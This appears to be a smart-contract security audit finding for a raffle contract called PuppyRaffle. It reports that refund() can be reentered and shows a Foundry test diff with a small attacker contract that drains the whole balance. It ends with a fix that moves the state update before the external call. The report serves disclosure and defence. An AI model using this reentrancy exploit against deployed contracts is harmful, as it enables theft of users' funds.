Summary
The function refund() allows for a reentrancy attack. An entrant can exploit this vulnerability to drain the entire contract balance.
Vulnerability Details
The function refund() can be reentered by the same entrant until the entire contract balance is drained, because the players array gets updated after the external call to the msg.sender, not following best CEI practices. Reentrancy is a well known attack factor that can be conducted using a simple contract to interact with the protocol.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Impact
Change the code in PuppyRaffleTest.t.sol and run forge test --mt testRefundFunctionCanBeReentered to see how one entrant can drain the entire contract balance by calling the refund() function multiple times within one transaction.
PuppyRaffle puppyRaffle;
+ ReentrancyTest reentrancyTest;
uint256 entranceFee = 1e18;
address playerOne = address(1);
address playerTwo = address(2);
address playerThree = address(3);
address playerFour = address(4);
address feeAddress = address(99);
uint256 duration = 1 days;
function setUp() public {
+ reentrancyTest = new ReentrancyTest();
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
}
// rest of code of `PuppyRaffleTest`
+ modifier playersAndContractEntered() {
+ address[] memory players = new address[](5);
+ players[0] = playerOne;
+ players[1] = playerTwo;
+ players[2] = playerThree;
+ players[3] = playerFour;
+ players[4] = address(reentrancyTest);
+ puppyRaffle.enterRaffle{value: entranceFee * 5}(players);
+ _;
+ }
+ function testRefundFunctionCanBeReentered() public playersAndContractEntered {
+ vm.prank(address(reentrancyTest));
+ puppyRaffle.refund(4);
+ assertEq(address(puppyRaffle).balance, 0);
+ }
// rest of code of `PuppyRaffleTest`
+ contract ReentrancyTest {
+ receive() external payable {
+ try PuppyRaffle(msg.sender).refund(4) {} catch {}
+ }
+ }
Tools Used
Recommendations
Update the players array before the external call is made. Additionally, consider importing ReentrancyGuard.sol from OpenZeppelin and applying the nonReentrant modifier.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
